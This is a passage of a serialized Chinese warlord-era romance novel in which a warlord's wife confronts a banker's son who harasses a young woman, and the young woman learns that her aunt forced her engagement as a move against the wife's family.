军政处里闲聊了一刻钟,白术业就带着儿子白泽宇匆匆赶到。
父子俩肩头还带着雨珠,显然是接到电话,就冒雨疾行而来。
“督军,苏参谋长,陈师座。”
白术业年近五十,身材微胖,满脸笑容,看似慈蔼,但一双眼睛精明锐利,一看就不是等闲之辈。他拱手行礼,态度恭敬。
白泽宇跟在父亲身后,也客客气气地行礼。
晏山青示意他们坐下,然后开门见山,直切正题:
“白老板,江陵区即日起由我军正式接管,那里是铁路枢纽,位置关键,但设施老旧,防御不足。我需要一笔钱,用于铁路扩建和周边防御工事修筑,工程由督军府直接督办。”
“款项方面,如果金隆银行能以最优惠的利息提供这笔贷款,未来江陵区新增的铁路货运收费、站场管理收益,以及本地特设的货物过境厘金,都可以优先划出一部分,作为还款担保和合作分红。”
白术业闻言大喜!
这哪里是贷款,分明是送上门来的金山!
不仅利息稳妥,还能分到铁路未来的收益,更是将白家与督军府捆绑得更紧!
他强捺心头的狂喜,当即躬身应下:“承蒙督军信重,白某感激涕零!金隆银行必然竭尽全力,以最低利息、最快速度,为督军筹妥款项!”
白泽宇也是喜形于色,觉得脸上有光,连腰杆都挺直了起来。
“那好。具体细节,苏参谋长会跟你们接洽。”晏山青脑子好用,什么事该怎么做他门儿清,三言两语就把事情定下来。
苏拾卷笑着说:“白老板,咱们可是老合作伙伴了。”
“是是是,多谢督军想着白家。”白术业看了眼对面的陈师座,顺口说,“对了,还有件喜事正想跟督军禀报一声。我们白家,马上就要和陈师座结为亲家了!以后跟是亲上加亲!”
苏拾卷意外:“佑宁吗?和白老板哪个儿子?”
白术业立刻示意身旁的儿子:“就是和犬子泽宇。”
晏山青目光淡淡地扫过白泽宇,男人脸上是掩饰不住的得意。
他抬了一下眉梢,看向陈师座:“什么时候的事?”
陈师座脸上肌肉微微抽动,勉强挤出一个笑容:“就前几天。”
晏山青不置可否。
苏拾卷则是皱了皱眉,想说什么,但又觉得贸然插嘴别人家婚事不太合适,就忍住了。
白术业察言观色,含笑道:“督军事务繁忙,白某就不多打扰了,先行告退。”
陈师座也顺势告退。
三人一同走出军政处大楼。
雨势稍缓,但天依旧阴沉,随从跟在他们身后,撑着大伞为他们遮雨。
白术业笑容满面,对陈师座道:“陈兄,你看,督军还是更看重我们白家啊,和我们白家结亲,不辱没你的身份。”
陈师座忙说:“白兄这话言重了,陈某从来没有这么想过。”
“督军没有反对,可见也是乐见其成,这婚事咱们可得办得风风光光,不瞒你说,内人已经在操持聘礼了。”
白术业夸夸其谈,“纯金打造的凤冠、东珠项链、翡翠镯子那是一样不少!他大嫂还特意托人从法兰西定购了最新款的留声机、西洋座钟,保准让新娘子体体面面嫁进白家!”
陈师座却是笑意勉强:“白老板费心了,小女……有福,有福。”
第102章 尝尝督军夫人是什么滋味
“住口!”
白术业非常清楚儿子什么德行,厉声喝断儿子,“祸从口出的道理我教了你多少次,你还是不长记性!督军的心思也是你能揣测的?督军夫人也是你能议论的?别得意忘形!”
白泽宇悻悻地闭嘴:“知道了爸。”
白术业又瞪了他一眼,重新靠回椅背,闭目养神。
虽然教训儿子,但其实白术业自己心里也很优越。
当年晏山青杀张卫、夺东湖,局势未稳之际,他就独具慧眼,暗中投诚,献上重金,支持他上位。
即便那时候晏山青已经有苏家,未必真缺他那笔钱,可这份雪中送炭的情谊晏山青还是记下了的。
这些年,无论是在东湖还是南川,金隆银行都得到了晏山青明里暗里的扶持,成为两地首屈一指的民营银行。
也是因为得到过实打实的好处,才会害怕失去,看到晏山青那么宠爱江家女,他有了危机感,匆匆答应老夫人与陈家结亲,力求深度捆绑,持续这份辉煌。
但现在看,倒是他们操之过急、杞人忧天了。
晏山青还是更看重白家,那个江家不足为惧。
不过即使如此,与陈家结亲还是好处多多的,所以这桩婚事他一定要完成。
汽车碾过积水的路面,驶向繁华的街市。
白术业靠在柔软的真皮座椅上,脸上带着淡淡的微笑——家族兴旺,才算对得起列祖列宗啊。
白泽宇望着窗外雨幕,脑子里则已经开始幻想,娶到陈佑宁后,如何借着岳家和督军府的势力更上一层楼,甚至……
如何找机会,尝尝那位姿色绝伦的督军夫人是什么滋味!
……
江陵区易主的消息,如同投入湖面的一块巨石,在东湖、南川乃至周边地界都激起了层层叠叠的波澜。
军政两界震动之余,也对晏山青的手段与野心感到心惊。
不费一兵一卒,借一次未遂的刺杀,不仅敲打了军政府,更将扼守交通命脉的江陵区收入囊中,这份谋算与胆魄,实在令人侧目。
而紧接着,江陵区扩建防御工事,以及铁路枢纽的巨额贷款,花落金隆银行,这在外界看来也是晏山青更信任与倚重白家的信号。
一时间,金隆银行门庭若市,前来洽谈业务、拉拢关系的人络绎不绝,白术业父子更是春风得意,走路带风。
市井坊间,茶楼酒肆,也悄然流传开一种看法——督军对那位小夫人,宠爱或许是真,但涉及地盘、钱粮、兵权这些根本,终究还是更信得过白家这样的老部下。
至于江家,带着前朝的印记,难以取得信任,能保持住现在就算列祖列宗显灵了,没准儿等小夫人失宠,还要被清算呢!
这些或明或暗的揣测议论,如同无形的薄雾,笼罩在江家和汇源银行的头上。
而处于议论中心的江家,却平静得异乎寻常。
汇源银行依旧按部就班地经营,对江陵区那块肥肉未置一词,仿佛外界的风云变幻都与他们毫不相干。
……
几日后的中午,东大街那家西餐厅的二楼里。
江浸月与二哥江泊远临窗而坐,窗外是熙熙攘攘的街景,窗内回荡着轻柔的钢琴曲。
“二哥,你尝尝,味道是不是还不错?我上次跟督军和苏先生一起来吃过。”
江浸月吃得挺开心,江泊远切着盘子里的牛排,力道却有些大,金属餐刀划过瓷盘,发出轻微的刺啦声。
他抬眼看向对面的妹妹,到底还是没忍住,放下了刀叉。
“皎皎,江陵区那笔修筑防御工事的款项,晏山青全交给金隆银行了。白家这几年是发展得不错,可咱们汇源难道就差了吗?论资金,论在南川的根基,我们哪点比不上金隆了?”
“他摆明了是更看重白家、抬举白家,从上次码头事件就这样!明明是我们家的女婿,却好像白家才是他的亲家!”
江浸月将西蓝花送入口中,细嚼慢咽后才说:“二哥,你对这件事这么不满,问过爸妈的意思吗?”
江泊远皱眉:“没问。问了也是让他们跟着心里不痛快,何必。”
“你该问问的。”江浸月放下叉子,拿起餐巾轻轻拭了拭嘴角,唇角带着一丝笑意,“你要是问了,就会发现,爸妈不仅不会不痛快,反而是松了口气。”
?江泊远不懂:“什么意思?”
“江陵区这个项目,油水太厚,风头太盛,我们江家现在若是接了,立刻就会被推到风口浪尖,被各路人马盯着。别忘了,我们家身上还背着‘沈霁禾前亲家’的名头。”
“树大招风,现在对江家来说,低调安稳,比多赚多少钱、多得多少虚名都要紧——当初我们主动缩减银行业务,不就是为了避风头么?现在,低调避嫌依然是第一位。”
江浸月这么一解释,江泊远就懂了,拧着的眉头松开,但还是哼了一声:
“就算我们不便接下,他至少也该来问一声吧?问都不问直接给了白家,也太不尊重亲家了吧。”
江浸月闻言,忍不住轻笑着摇头:“我的二哥,你以为晏山青是什么人?是街上做买卖、讲究和气生财、面面俱到的小商人吗?”
她目光投向窗外,午后的阳光在她纤长的睫毛上跳跃,“他是执掌两省、手握生杀大权的督军。在他那里,决定就是决定,无需向任何人解释或商量。”
“别说咱们家,就是跟了他多年的苏拾卷那样的心腹,也未必事事都有资格过问。他要把好处给谁,自然有他的道理,我们没资格过问,做好自己的本分就是了。”
江泊远怔了片刻,才无可奈何地往后一靠,抬手做了个投降的姿势:“行行行,我说不过你。反正你是在晏家过日子的人,你都不觉得委屈,我在这儿瞎抱什么不平呢。”
江浸月睨他一眼:“你呀,就是心思不够通透。赶紧娶个聪明伶俐的嫂子进门,也好提点提点你,拉高一下咱们江家下一代的脑子。”
江泊远又换上惯常那副玩世不恭的散漫模样:“没、兴、趣。传宗接代的重任,大哥已经英勇承担了,我嘛,结不结婚不重要,守好这个家,守好爸妈和你,就够了。”
他说得随意,但江浸月听得心头微软,含笑看着他。
她这个二哥,只比她大两岁,生了一张极为英俊的脸,眉眼深邃,鼻梁高挺,唇形总是微微上翘,带着点儿漫不经心的笑意。
不同于大哥江泊禹那种端方持重、沉稳可靠的长子气度,江泊远的气质更偏向于风流不羁,仿佛对世间万物都怀有好奇,但又好像什么都难以真正让他上心。
尤其是对女人。
这么多年,就没见他对哪位名门淑女表现出特别的热忱。
反倒是对生意经、新奇机械,甚至古玩字画更有兴趣,有时兴致来了,还会带着她这个妹妹胡作非为。
兄妹俩年纪相近,从小玩闹到大,没有代沟,私下相处更是没大没小。
吃完了饭,两人又坐了一会儿,便起身结账,下楼离开。
刚走到楼梯中段,一楼窗边雅座区突然传来一阵骚动,夹杂着女子恼怒地呵斥:
“白泽宇!你干什么?!拿开你的脏手!离我远点!”
第103章 最讨厌的江浸月却来帮她
江浸月脚步一顿,循声望去。
只见靠窗的卡座边,穿着时髦洋装,脸色涨红的陈佑宁正被几个男人围住,为首的那个油头粉面,眼神轻浮,正是白泽宇。
他手里端着杯酒,嬉皮笑脸的。
“陈小姐,别这么见外嘛,咱们迟早都是夫妻,请你喝杯酒而已,害羞什么呢!”
陈佑宁又羞又怒,她因为婚事在家里以泪洗面了好几天,母亲心疼她,找来了她平日交好的小姐妹开解她,又陪她逛街吃饭,没想到又遇到这个男人!
她猛地站起身想要离开,却被白泽宇的跟班挡住了去路。
她怒道:“谁跟你是夫妻?!不要脸!你再不滚我就喊巡警过来了!”
白泽宇笑了:“所谓清官难断家务事,就算巡警来了,也只会让我们有矛盾回家解决。佑宁妹妹,你要跟我回家吗?要不我们不等日子了,今晚就做夫妻吧!”
他那群狐朋狗友顿时哄笑起来。
陈佑宁都要被气哭了:“你!”
江浸月和江泊远对视一眼。
意思是……陈家要和白家结亲了?陈佑宁和白泽宇?
这还挺让人意想不到的。
陈佑宁气得将桌子掀翻,餐厅经理闻讯赶来,连声劝双方冷静。
白泽宇看到陈佑宁激动,好像更兴奋了,什么污言秽语都敢说,陈佑宁捂住耳朵,尖叫着要他们把白泽宇赶出去!
餐厅经理犹豫着看向白泽宇……
白泽宇一句:“我未婚妻跟我闹别扭呢,我哄哄她不行吗?谁敢多管闲事,现在就把跟我家银行借的钱还回来!”
餐厅经理顿时就不敢说什么了……如今谁不知道,白家深得督军倚重,是不能招惹的权贵……
也有客人看不下去,一位女性站起身想要说什么,但被身边的男性友人拉住了手臂。
江浸月眼神微冷,她虽然对陈佑宁无甚好感,但更厌恶白泽宇这种仗势欺人、下作恶心的纨绔。
江泊远双手插在西裤口袋,直接嗤笑一声,声音不高不低,刚好能让那边听见:“哟,我当是谁这么没规矩,大庭广众纠缠女客,原来是白少爷啊。”
“怎么,金隆银行最近生意太差,白少爷都闲得改行当起流氓了?”
白泽宇冷不丁听到嘲讽,恼怒地转头,看见是江泊远,脸色就更难看了。
江白两家早就结了梁子,此刻仇人见面分外眼红,白泽宇喝道:“江泊远,小爷的事轮得到你插嘴?!什么纠缠女客,这是我的未婚妻!”
“未婚妻?”江泊远挑眉,“下过聘了?换过帖了?还是白少爷觉得,你在大街上随便拦个姑娘喊‘未婚妻’,人家就真是你未婚妻了?这南川城,什么时候改姓白了,规矩都由你定?”
白泽宇怒目圆睁:“你!”
“……”陈佑宁怔怔地仰着脑袋,看着楼梯上的江泊远。
他穿着深灰色西装,面容英俊,眉眼间带着一股漫不经心的倨傲,说话时的神态随意又锋利,与周遭的怯懦形成鲜明的对比。
陈佑宁就像是溺水的人突然抓住了一根浮木,又像是身处黑暗中的人看到了一束光,她看着江泊远移不开目光……
白泽宇被噎得火冒三丈,怎肯放过,正要发作——
“白泽宇。”
一道清凌凌的女声响起,不高,宛如冰珠落玉盘,带着一种无形的穿透力,瞬间压过了所有嘈杂。
白泽宇这才注意到江泊远身后的江浸月。
她一袭素雅旗袍,外罩一件浅色开司米披肩,乌发松松挽起,露出纤长白皙的脖颈。午后的光线在她周身镀上一层柔和的晕,那张脸清丽绝伦,此刻覆着一层淡淡的寒霜。
白泽宇喉咙顿时一紧,一股混杂着惊艳与邪念的热流猛地蹿上脑门。
他觊觎这张脸、这副身段,已经不是一天两天了,当初沈霁禾战死,他第一时间上门想要纳她为妾,结果被江母拿着扫帚赶出来。
他当时还想着,等晏山青攻入南川,发落了沈霁禾的亲眷们,他就要仗着白家和晏山青的交情,去求晏山青把这个女人赏给自己。
结果没想到,这女人摇身一变成了晏山青的正室夫人,他彻底没了机会。
但没机会,不代表不惦记。
白泽宇舔了舔嘴唇,心思蠢蠢欲动,只是想到昨天父亲才严词警告过他,他只好强行压下邪念——反正来日方长,他不信自己得不到这个女人!
白泽宇转而露出笑容:“呦,原来督军夫人也在啊,失礼失礼。”
江浸月缓步走下最后几级台阶,站定,目光平静无波地落在白泽宇身上:“这里是餐厅,是吃饭的地方,不是你白家的后院,由得你撒野耍横。”
“陈家小姐是否与你白家结亲,都不是你可以在大庭广众之下肆意纠缠、言语轻慢的理由。现在,请你立刻离开,不要打扰其他客人的雅兴。”
周围一片寂静,所有人的目光都聚焦在这位年轻又饱含争议的督军夫人身上,要看她如何处置这嚣张的纨绔。
白泽宇脸上青白交错,众目睽睽之下,他若是这么认怂走了,那他以后在南川还怎么混?
他梗着脖子道:“督军夫人好大的威风啊!我跟我未婚妻说话,关你什么事?”
江浸月笑:“第一,她现在还不是你的未婚妻。”
“第二,即便她是,你大庭广众之下言行不端、骚扰女性、妨碍其他客人正常用餐,我身为督军夫人,就管得,也罚得。”
“——你要试试吗?”
试什么?试督军夫人的权柄,还是试晏山青的手段?
白泽宇一时间被她身上的气势震慑到,再三考虑,到底是不敢现在就跟她杠上,他干笑着朝着江浸月拱了拱手:
“是是是,督军夫人说得是,是我冒失了,我这就走,这就走。”
但临走前,还满怀不甘地回头,对陈佑宁阴恻恻地丢下一句,“陈小姐,咱们改日再叙!”
然后才带着他那几个跟班离开餐厅。
闹剧就此落下帷幕。
客人们继续用餐,只是免不了低声议论起来——这个女人就是江浸月?就是那个背叛沈督军,二嫁给晏山青的“毒妇”?看着不像啊,人还挺好的……
陈佑宁站在原地,手指紧紧攥着裙摆,胸口剧烈起伏,脸上交织着屈辱、后怕和难堪。
江浸月走到她面前:“你没事吧?”
陈佑宁猛地回神,看着江浸月,眼神复杂到了极点。
既有惊魂未定的余悸,又有被宿敌所救的尴尬。
她没想到,在这种时候,面对风头正劲的白家,连她爸妈都不护着她,反而是她曾经最讨厌的江浸月来帮她。
第104章 那件事,等我忙完再做
陈佑宁不知道该说什么,嘴唇嚅动了半晌,最后含糊不清地说了一句:
“……谢谢。”
说完就拉上已经吓呆了的两位朋友,匆匆离开餐厅。
江泊远走到妹妹身边,看着陈佑宁仓皇消失的背影,挑了挑眉:“这位是督军的表妹吧?我听妈说过,上次在茶楼她那么嚣张,真是风水轮流转。”
江浸月收回目光,眼底掠过一丝深思。
白泽宇臭名昭著,陈家就这一个独生女,怎么舍得把女儿推进火坑?
江泊远却不在意这个小插曲:“我们也走吧。”
“好。”
江浸月与江泊远并肩走出餐厅,阳光暖融融地洒落在身上,驱散一身阴霾。
江泊远说:“我先送你回督军府,然后拐个弯,去店里看一批新到的雪茄。”
江浸月还没说话,一辆黑色汽车就在他们面前停下。
后座车窗降下,露出晏山青那张棱角分明的脸。
江浸月惊讶:“督军?”
晏山青的目光先是落在江浸月身上,然后又转向江泊远,略一颔首:“江二少。”
江泊远的态度不卑微也不谄媚,笑着问:“督军这是路过,还是专程来逮我妹妹回去的?”
晏山青牵了牵唇角,只道:“我送夫人回家就好,江二少若是有事,先去忙吧。”
江泊远看了江浸月一眼,点头:“也行。”
江浸月弯腰上车,坐在晏山青身侧,车辆很快启动。
密闭的车厢里有一丝极淡的烟草味,并不难闻,江浸月侧头去看男人:“督军怎么到这边来了?是有公务吗?”
晏山青坐姿随意:“不觉得我是专程来接你的?”
江浸月歪了一下脑袋,从善如流地改口:“那就谢谢督军专程来接我。”
晏山青哼笑一声:“路过,想起你说今天中午跟你二哥在这边吃饭,顺便进来看看,你要不是刚好出门,我就直接开走了。”
江浸月也笑,转而说起茶楼里的事:“我们刚才遇到陈佑宁了。”
“她又为难你了?”晏山青问了句。
“那倒没有,恰恰相反,佑宁表妹这次乖得很。”江浸月的语气意味深长。
“白泽宇对她口出狂言,她也‘只是’掀桌骂人,没跟以前对我似的,直接关门打人,‘温良’了许多。我差点以为她是佑宁表妹的双胞胎姐妹,否则怎么几天不见,她就换了个性格?”
晏山青不以为意:“是吗,可能是到了年纪说亲了,就学得稳重一些了。”
……嗯?
江浸月突然有点怀疑,陈、白两家突然要结亲,该不会是晏山青安排的吧?
意图通过姻亲来笼络“钱”途无量的白家?
如果真是这样,那这个男人也太狠了,为了巩固政权,连亲表妹都能牺牲,把她嫁给白泽宇那种人渣,跟推她进火坑有什么区别?
但。
江浸月又觉得,区区白家,晏山青想怎么样就能怎么样,哪里用得着这么“牺牲”和“迂回”?
他是大权在握、兵强马壮的两省督军;不是龙椅高坐,而财赋兵权尽落他人的崇祯帝。
所以应该不是他的意思。
想着想着,车子就开到督军府了。
江浸月准备下车,晏山青却没动,冷不丁问了她一句:“江陵区那笔款项给了白家,你就没有什么想问我的?”
江浸月一愣,然后道:“督军做事自然有督军的考量,白家既然合适,给他们便是,我没什么想问的。”
她没有追问缘由,也没有替自家抱不平,晏山青凝视了她片刻,见她目光清澈坦然,并非言不由衷,他眼底的审视也渐渐散去,取而代之的是一种满意。
他喜欢她的这份通透,不纠缠于眼前一城一池的得失,能看到大局,也很懂得分寸。
江浸月见晏山青还是没有要下车的意思,便问:“督军还有别的事?”
晏山青放松地靠在椅背上,语气比刚才闲散了很多:“最近江陵区交接,军政处那边有一堆事情等着我处理,我这几个晚上都是直接宿在那里。”
江浸月知道啊。
他伤好后就在军政处忙,偶尔回督军府也都是来去匆匆,打个招呼就走,都持续好几天了,怎么今天突然想起解释这个?
她思索了一下,贤惠地道:“督军辛苦了,但公务再忙,也要注意休息。”
晏山青忽然倾身朝她靠近。
“——!”
车厢本就逼仄,他这一动,烟草的气息瞬间浓了几分,一缕一缕地侵入江浸月的鼻间。
“之前说的那件事,得等我忙完这阵。”
江浸月眼底掠过一抹真实的茫然——哪件事?
她还没来得及细想,晏山青就已经重新靠回座椅,嘴角勾着弧度:“你下车吧。我还要回军政处。”
“哦……”
江浸月推开车门下去,站在督军府大门口,目送黑色汽车驶离。
春日的凉风刮在脸上,她走了几步,脑子里猛地闪过一个画面——
那一夜,垆雪院,她帮他上药,暧昧涌动,他突然将她压在床上狠狠亲吻,最后硬生生克制住,停下来,哑着嗓子说,“伤好了再做也不迟”。
他……指的是这一句?
“轰”的一下!热意瞬间从耳根蹿了起来,飞快蔓延到整个耳廓,连脖颈都跟着泛起一层薄红。
所以,他专门绕去东大街“偶遇”她,一是为了问她对江陵区款项的看法;二就是为了告诉她,他没忘了“那件事”,让她再等等?
江浸月咬住下唇,又羞又恼,这男人!光天化日!
她加快脚步朝督军府走去,脚步有些凌乱,像有什么东西在追着她。
就在她心神纷乱之际,眼角余光瞥见大门旁的石狮子后面,藏着一道熟悉的身影。
是陈佑宁。
江浸月脚步一顿,压下那些乱糟糟的思绪,平复呼吸,走过去:“来了怎么不进去?”
陈佑宁吓了一跳,抬头看到是她,不自然地咬住下唇,视线游移着不敢跟她对视,忸忸怩怩又含糊不清地说:
“……我在等人……”
江浸月猜测:“等督军吗?但他刚走。”
“他走了??”陈佑宁眼眶一下就红了,带着哭腔,“我、我一直在这儿,怎么没看见?”
“他没下车,送我到门口就离开了。”江浸月拢了拢披肩,“你如果有事,可以去军政处找他。”
她只是随口一说,但听在敏感又应激的陈佑宁耳朵里却是变了味,她被刺了一下,脱口而出:
“你是在跟我炫耀表哥现在只疼你吗!”
“……”
江浸月差点没忍住要翻白眼,懒得跟颠婆讲道理,淡淡地道,“随你怎么想。”
说罢,转身就走。
“等、等等!”
陈佑宁被丢下,顿时慌了神,也顾不得别扭和自尊了,快步跟了上去,“我、我想去你那里坐一会儿,可、可以吗?”
“随便你。”
第105章 我想给表哥做妾!
两人一前一后进了垆雪院。
辛儿正在院子里修剪花草,一看到陈佑宁,立刻紧张起来,显然是把她当成垆雪院的敌人。
江浸月神色如常,吩咐道:“给表小姐上茶,再拿些点心来。”
被白泽宇那一顿纠缠,陈佑宁应该没怎么吃午饭。
辛儿不情不愿地应了声“是”。
陈佑宁拘谨地坐在红木圈椅上,双手放在膝盖上,低着头,全然没有往日张扬尖锐的模样。
撇开那些骄纵任性的言行不谈,此刻安静下来的她,其实也不过是个十几岁的少女。
江浸月坐在主位,并未主动寒暄,慢慢喝茶——牛排好吃是好吃,就是全肉有点腻。
屋内的沉默,让陈佑宁更加不安,没一会儿,她就承受不住心理压力,猛地抬起头,眼圈通红,带着哭腔开口:
“我、我是来求表哥救我的……”
眼泪随之滚落,“我不要嫁给白泽宇,我以后再也不胡闹了,再也不找你麻烦了,我发誓!求求你了,江浸月,你跟表哥说说,让他救救我吧!”
江浸月肯让她来垆雪院,也是为了问一问陈、白结亲的内幕。
“是督军让你嫁给白泽宇的?”
“不是表哥,是、是姨母,我爸妈都听姨母的话,都要我嫁。”陈佑宁抽抽噎噎。
“老夫人?”江浸月挑眉,有些意外,“她是你亲姨母,平时不是很疼你的吗?”
“我也不知道啊!”
陈佑宁哭得更凶了,“我怎么求、怎么闹都没用,他们铁了心要我嫁!我怕再闹下去,他们会把我关起来,等到日子直接绑上花轿,所以我只能假装顺从,其实我不愿意,我根本就不愿意!”
“那你想让督军怎么救你?”江浸月问。
陈佑宁抬起泪眼,语出惊人:“我想给表哥做妾!”
端着茶点进来的辛儿刚好听到这句话,顿时气得脸色涨红,也顾不上尊卑了,将托盘往桌上重重一放,冲口而出:
“表小姐!您之前三番四次帮着宋小姐来对付我们夫人还不够,这次又来抢督军!您是看我们夫人性子好,专挑她一个人欺负是不是!”
陈佑宁哭着反驳:“我有什么办法嘛!我现在必须赶紧嫁一个厉害的人才能不嫁给白泽宇!真让我嫁给白泽宇,我还不如现在就拿枪把自己毙了算了!”
辛儿寸步不让地吵回去:“那您去找别人啊!南川城里厉害的人多了去了,干嘛非盯着自家表哥?报纸上都说了,近亲结婚不好!”
“……我不管!我不管!”
陈佑宁说不过也吵不过,又急又气,干脆往地上一坐,蹬着腿哭闹起来,“现在除了表哥没人能救我!我就要嫁给表哥!我就要给表哥做妾!”
明婶听到一阵鬼哭狼嚎,还以为怎么了,连忙从外面进来,一看是陈佑宁这副样子,都愣住了。
“……”
江浸月看到她这副胡搅蛮缠、全然不讲道理的模样,只觉得头痛。
她按了按太阳穴,挥挥手道:“扶表小姐起来,坐好再说话。”
明婶连忙上前,将哭得脱力的陈佑宁,半拖半扶地拽回椅子上。
江浸月道:“解决问题的方法不止嫁人一个,婚姻大事岂能儿戏,你现在慌不择路才说要给你表哥做妾,将来后悔了怎么办?”
“还能有什么办法?”陈佑宁绝望道,“婚事是姨母定下的,连我爸妈都不敢忤逆,比姨母厉害的人只有表哥了!”
“你可以再去求老夫人。”江浸月说。
陈佑宁焦急:“就是她让我嫁的!求她有什么用!”
“有用。”江浸月平静地注视着她,“你去求,不是哭闹,而是清清楚楚地告诉她,白泽宇是个不学无术、吃喝嫖赌,还沾染大烟的纨绔,你宁死也不嫁这种垃圾。”
“如果她听了这些,还坚持要你嫁,你就问她究竟是看中了白家什么非要拿你的终身去换,逼她给你一个实实在在的理由。”
“只有知道老夫人真正的意图,才能对症下药。”江浸月的话像冷水,泼在陈佑宁混乱的头脑上。
陈佑宁傻傻地听着她说,哭声渐渐小了……
“成年人,遇到事,就想办法解决事。你一哭二闹三上吊,各种撒泼打滚,就是不去做实事,是指望谁可怜你同情你帮你渡过难关吗?还是指望老天爷开眼为你改写命运?”
陈佑宁咬唇:“我……”
“你十八了,不是小孩子了,别总想着靠别人拯救你——你以前靠你父母、靠姨母、靠表哥,结果就是,他们一旦不帮你了,你就变成一无所有、死路一条。”
江浸月一字一句说得清楚,“这世上,只有自己不会抛下自己,靠谁都不如靠自己。”
“……”
陈佑宁被她的理智感染,情绪渐渐平复下来,低头想着她的话。
然后站起身,往外挪了几步,又忍不住回头,眼神复杂地看着江浸月。
“你……今天为什么肯帮我?还跟我说这些……我之前那么对你……”
江浸月没什么笑意地一笑:“日行一善。而且我不算是帮你。”
“在餐厅,我开口是因为厌恶白泽宇,借题发挥罢了。现在告诉你这些,也只是因为我好奇老夫人为什么突然非要把你嫁给白泽宇。你去问出答案,然后满足我的好奇心。”
“作为交换,你拿到答案后,如果自己没办法解决,我可以再帮你想法子,条件是你以后安分些,别再来给我找麻烦。明白了吗?”
陈佑宁觉得,她这人挺好的,以前是她错了,不该针对她的。
她咬了咬唇,转身跑了出去。
辛儿却还是觉得不忿:“夫人,您干嘛要帮她啊?她以前害了您那么多次!”
明婶打断辛儿的目无尊卑:“夫人自有夫人的道理,不是你这个小丫头能多嘴的。去厨房看看夫人的燕窝炖好了吗?”
辛儿脖子一缩,连忙应了声“是”,听话地去了。
明婶走到江浸月身边,江浸月仰起头看她:“您是不是也不明白,我为什么要帮陈佑宁?”
明婶确实也不明白:“夫人跟我说一说?”
“我想得通督军倚重白家的原因,但我想不通老夫人撮合陈家和白家结亲的原因,所以撺掇陈佑宁去问清楚。如果对江家不利,我们也能早做防备。”
明婶恍然大悟,脸上露出赞许的神色:“我就知道,夫人做任何事,都有自己的道理。”
江浸月垂眼,除了这个原因,她还想知道,上次在垆雪院,陈佑宁指着宋知渝骂,但没说完的后半句话究竟是什么?居然直接把宋知渝都吓跑了。
她直觉,应该是一件大事。
第106章 这桩婚事,已成定局
陈佑宁一口气跑到寿松堂,跑得太快,甚至感觉胸腔一阵生疼。
她在门外深吸了好几口气,努力压下喉头的哽咽,然后掀开帘子。
老夫人正坐在软榻上,一个小丫鬟为她捶着腿,手里翻着一本黄历,脸上带着闲适的神情。
看到陈佑宁跑进来,她更是眉开眼笑,招手道:“佑宁来了?快过来坐,我正在跟你阿妈挑你的好日子呢。”
陈佑宁的母亲陈夫人也在,脸上带着笑,但那笑意十分勉强。
陈佑宁没坐,她直接走到她们面前,开口就是一句:“姨母,妈,我不要嫁给白泽宇。”
老夫人脸上的笑容淡了一些,不过还是和颜悦色的:“傻孩子,说什么傻话,父母之命媒妁之言,哪有姑娘家自己说不要嫁的?”
陈佑宁咬唇:“结婚后跟白泽宇过日子的人是我,又不是你们,我最有权利说嫁不嫁。”
“白泽宇有哪里不好?青年才俊,家财万贯,你放心,白家那边,姨母都替你问好了,你们婚后住新房,开新车,你嫁过去就是享福的,以后的好日子长着呢。”
“这不是我想要的好日子!”陈佑宁拔高声音,眼眶忍不住又红了起来,“白泽宇哪里好了!吃喝嫖赌样样俱全,还抽大烟!你们让我嫁给这种男人,不是把我往火坑里推吗!”
陈夫人低头拭泪。
老夫人放下黄历,脸上的笑容彻底消失,语气也沉了下来:“外面那些风言风语你也信?白家少爷年轻气盛,从前是有些贪玩,现在已经收了心。再说了,男人嘛,成了家自然就会稳重。”
“佑宁,姨母难道会害你吗?白家的金银珠宝取之不尽用之不竭,你不是最喜欢洋人的新鲜玩意儿吗?那些漂亮裙子、钻石项链,往后你想买多少就能买多少……”
“我不在乎这些东西!”
陈佑宁到底还是绷不住,眼泪一下就涌了出来,“只要能不嫁给白泽宇,我以后穿粗布麻衣都行!”
她甚至愿意退一步,“姨母,如果你们只是觉得我到了年纪该找婆家了,那我答应,我可以嫁人,但换一家,只要不是白泽宇,其他人家我可以相看!”
“不行。”老夫人的声音斩钉截铁,语气不容置疑,“必须是白家。这件事我跟你的父母已经定下了,由不得你小孩子家任性!”
“为什么啊!”陈佑宁崩溃地大喊出来,“为什么非得是白家?!姨母,您今天必须给我一个理由!不然我就是死,也绝对不上他白家的花轿!”
老夫人静默了片刻,脸上最后一丝慈祥也彻底消失了,她看着哭得浑身发抖的外甥女,终于不再绕弯子,冷冷地说:
“为什么?因为你那位表嫂,江浸月。”
“她一个二嫁之身,仗着颇有家世和山青的宠爱,就在督军府里作威作福,连我都不放在眼里,我要是不给她点颜色看看,她迟早要骑在我的头上!”
“我和白家谈好条件,陈、白两家结亲,我助金隆银行的势力更上一层楼,白家帮我打压汇源银行和江家,灭了江浸月的嚣张气焰!”
老夫人说出的每一个字都像一把匕首,狠狠扎进陈佑宁的心口。
她张着嘴,却发不出任何声音,只有眼泪疯狂地涌出。
原来如此……
原来自己从头到尾,都只是一颗用来打击江浸月,巩固老夫人地位的棋子……
“姨母……你根本就不疼我,你们根本就不爱我……”
她喃喃着,声音破碎,没有再看老夫人和母亲一眼,踉跄地转身,跌跌撞撞地跑出了寿松堂。
陈夫人望着女儿离开的方向,心如刀绞,红着眼眶转向老夫人:
“姐姐,佑宁哭成这样,她是真的不愿意……那白泽宇的品性,咱们多少也有耳闻,要不咱们再斟酌斟酌,选别的人家……”
“选别的人家?”老夫人冷笑一声,端起桌上的茶盏,用杯盖撇去浮沫,眼皮都没抬,“妹妹,你是不是舒坦日子过久了,忘了你们陈家是怎么有今天的?”
陈夫人被这话问得一怔。
“当年山青拿下东湖,手里正缺信得过的人。你男人陈鑫海,那时不过是个杀猪的,大字不识,论能力,论资历,他凭什么?”
陈夫人脸色白了白:“……”
“是我,”老夫人放下茶盏,发出清脆的响声,“是我一次次在山青面前说,这是你亲姨父,是血脉至亲,再怎么着也比外人信得过。是我动之以情,晓之以理,他才肯点头,把你男人一步步提拔上来。”
她的语气渐渐带上讥诮,“怎么?现在你男人当了师座,手里握着上万人马,出门前呼后拥,别人见了都得恭恭敬敬喊一声‘陈师座’,威风得很,你就忘了这威风是谁给的了?”
陈夫人手指绞紧了帕子:“姐姐的恩情,我们一家没齿难忘……”
“没齿难忘?”老夫人轻笑一声,笑意却未达眼底,“我看是忘得差不多了。山青麾下八个师,凭什么你男人能掌着最精锐、人数最多的那个?真以为是他自己有本事?那是我在背后替他周全!”
“没有我,你们陈家能有今天的风光?”
